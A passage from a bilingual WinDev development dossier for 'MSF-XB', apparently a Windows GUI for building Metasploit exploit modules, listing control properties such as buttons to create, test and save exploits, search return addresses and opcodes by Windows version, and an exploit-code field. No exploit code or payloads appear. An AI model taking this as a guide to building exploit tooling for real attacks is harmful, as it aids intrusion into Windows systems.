FR,GB: FR,GB:

Libellé FR: &Auteur(s)GB: Author(s)

Ordre navigation 9Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 8Retrait gauche 2Position X interne 82Largeur interne 286

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 751: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 757

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_ADD_TARGET

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 52Curseur survol 0On/Off Non

Altitude 39

Bulle d'aide FR: Ajouter cette cibleGB: Add this target

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01325b-16-5.pngNb. états image 5Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 752: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 758

Bouton : BTN_ASCII

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 31Curseur survol 0On/Off Non

Altitude 31

Bulle d'aide FR: Table ASCIIGB: ASCII table

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_VisionPlus.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 753: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 759

Bouton : BTN_Bouton1

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 37Curseur survol 0On/Off Non

Altitude 37

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330b-16-5.pngNb. états image 5Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 754: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 760

Bouton : BTN_Bouton3

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &NewOrdre navigation 53Curseur survol 0On/Off Non

Altitude 40

Bulle d'aide FR: Créer un nouvel exploitGB: Create a new exploit

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 755: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 761

Bouton : BTN_Bouton5

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: PrintGB: &Print

Ordre navigation 55Curseur survol 0On/Off Non

Altitude 42

Bulle d'aide FR: Imprimer le code de l'exploitGB: Print the code of this exploit

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 756: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 762

Bouton : BTN_Button1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: HelpGB:

Ordre navigation 60Curseur survol 0On/Off Non

Altitude 49

Numéro aide 9

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 757: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 763

Bouton : BTN_Documentation

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &VoirGB: &View

Ordre navigation 59Curseur survol 0On/Off Non

Altitude 48

Bulle d'aide FR: Voir la documentation sélectionnéeGB: View the selected documentation

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 758: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 764

Bouton : BTN_LISTE_OPCODES

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 46

Bulle d'aide FR: Petite liste d'opcodesGB: Little Opcodes list

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST04025c-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 759: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 765

Bouton : BTN_OUVRE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 36Curseur survol 0On/Off Non

Altitude 36

Bulle d'aide FR: Editer le moduleGB: Edit the module

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Btn_VisionPlus.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 760: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 766

Bouton : BTN_OUVRE_URL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Ouvre URLGB: Button

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 45

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 761: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 767

Bouton : BTN_RECHERCHE_ADRESSE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 30Curseur survol 0On/Off Non

Altitude 30

Bulle d'aide FR: Chercher une adresse de retour pour le système choisiGB: Search a return address for the selected system

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 762: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 768

Bouton : BTN_RECHERCHE_OPCODE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 34Curseur survol 0On/Off Non

Altitude 34

Bulle d'aide FR: Chercher l'opcode correspondant à l'exploitGB: Search the opcode matching the exploit

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 763: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 769

Bouton : BTN_SAVE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: SaveGB: &Save

Ordre navigation 54Curseur survol 0On/Off Non

Altitude 41

Bulle d'aide FR: Enregistrer cet exploitGB: Save this exploit

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 764: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 770

Bouton : BTN_SEARCH_RETURN_ADDRESS

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 57Curseur survol 0On/Off Non

Altitude 44

Bulle d'aide FR: Chercher une adresse de retour correspondant aux critèresGB: Search a return address for the specified OS

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST04025c-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 765: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 771

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_TEST

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &TestOrdre navigation 56Curseur survol 0On/Off Non

Altitude 43

Page 766: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 772

Bulle d'aide FR: Tester le code d'exploitGB: Test the exploit code

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_UPDATE_EXPLOIT

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 61Curseur survol 0On/Off Non

Altitude 50

Bulle d'aide FR: Mettre à jour l'exploitGB: Update the exploit

Numéro aide 0

Opacité 100

Animée par défaut Oui

Page 767: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 773

Mode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01330-16-5.pngNb. états image 5Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Combo : COMBO_ADRESSE_RETOUR_RECHERCHE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Adr. retourGB: Ret. address

Ordre navigation 35Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 109Larg. déroulée perso. NonHauteur ligne 15Altitude 35Retrait gauche 2Position X interne 265Largeur interne 109

Page 768: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 774

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_Documentation

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Documentation

Page 769: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 775

Contenu initial FR: https://www.securinfos.info/metasploit/Guide_Developpeur_Metasploit3.pdf http://metasploit.com/projects/Framework/msf3/api/rex/ http://metasploit.com/projects/Framework/msf3/api/msfcore/ http://metasploit.com/projects/Framework/msf3/api/msfbase/ http://metasploit.com/projects/Framework/msf3/api/msfui/

GB: http://metasploit.com/projects/Framework/msf3/developers_guide.pdf http://metasploit.com/projects/Framework/msf3/api/rex/ http://metasploit.com/projects/Framework/msf3/api/msfcore/ http://metasploit.com/projects/Framework/msf3/api/msfbase/ http://metasploit.com/projects/Framework/msf3/api/msfui/

Ordre navigation 58Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 467Larg. déroulée perso. NonHauteur ligne 15Altitude 47Retrait gauche 2Position X interne 470Largeur interne 467

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive Oui

Page 770: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 776

Valeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage Largeur et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_LANGUE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: LangueGB: Locale

Contenu initial FR: MULTI

FR US DE CH IT NL PL SP

GB: MULTI

US FR DE CH IT NL PL SP SP IT

Ordre navigation 32Curseur survol 0

Page 771: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 777

Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 65Larg. déroulée perso. NonHauteur ligne 15Altitude 32Retrait gauche 2Position X interne 73Largeur interne 65

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Oui

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 772: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 778

Combo : COMBO_OSSP

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: SPContenu initial FR,GB:

0 1 2 3 4 5 6

Ordre navigation 28Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 37Larg. déroulée perso. NonHauteur ligne 15Altitude 28Retrait gauche 2Position X interne 169Largeur interne 37

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique Non

Page 773: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 779

Avec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_OSnom

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: WindowsContenu initial FR,GB:

2000 XP 2003 NT Vista

Ordre navigation 27Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 65Larg. déroulée perso. Non

Page 774: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 780

Hauteur ligne 15Altitude 27Retrait gauche 2Position X interne 73Largeur interne 65

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 775: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 781

Combo : COMBO_OSversion

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: TypeContenu initial FR,GB:

Professional Server Advanced Server Home Enterprise Edition Standard Edition Web Edition

Ordre navigation 29Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 136Larg. déroulée perso. NonHauteur ligne 15Altitude 29Retrait gauche 2Position X interne 238Largeur interne 136

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique Non

Page 776: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 782

Avec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo + table : COMBO_TARGET

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: CiblesGB: Targets

Ordre navigation 24Curseur survol 0

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 286Larg. déroulée perso. NonHauteur ligne 15Altitude 24Retrait gauche 0Colonne ancrée 0Position X interne 82Largeur interne 286

Page 777: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 783

Numéro aide 0

Opacité 100

Taille de saisie 0Unicode NonBulle ascenseur OuiAsc. horizontal AutomatiqueAsc. vertical AutomatiqueAvec saisie NonSaisie assistée NonEffacement automatique NonFin saisie automatique NonAvec focus OuiNULL si vide NonRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NonValeur persistante NonMode menu ctx. <Aucun>

Source de remplissage MémoireNb. Enreg. Max 0Parcours AutomatiqueFichier parcouru 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 778: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 784

Champ de saisie : DATE_DIVULGATION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: DateOrdre navigation 22Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 22Retrait gauche 2Position X interne 219Largeur interne 126

Bulle d'aide FR: Date de divulgationGB: Disclosure date

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Page 779: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 785

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : DESCRIPTION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &DescriptionGB: Description

Ordre navigation 12Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 11Retrait gauche 2Position X interne 82Largeur interne 300

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies Non

Page 780: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 786

Valeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : DLL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: DLLOrdre navigation 26Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 26Retrait gauche 2Position X interne 240Largeur interne 128

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal Non

Page 781: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 787

Asc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : EXPLOIT_CODE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 20Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 19Retrait gauche 2Position X interne 356Largeur interne 155

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe Non

Page 782: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 788

Unicode NonAsc. horizontal OuiAsc. vertical OuiAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

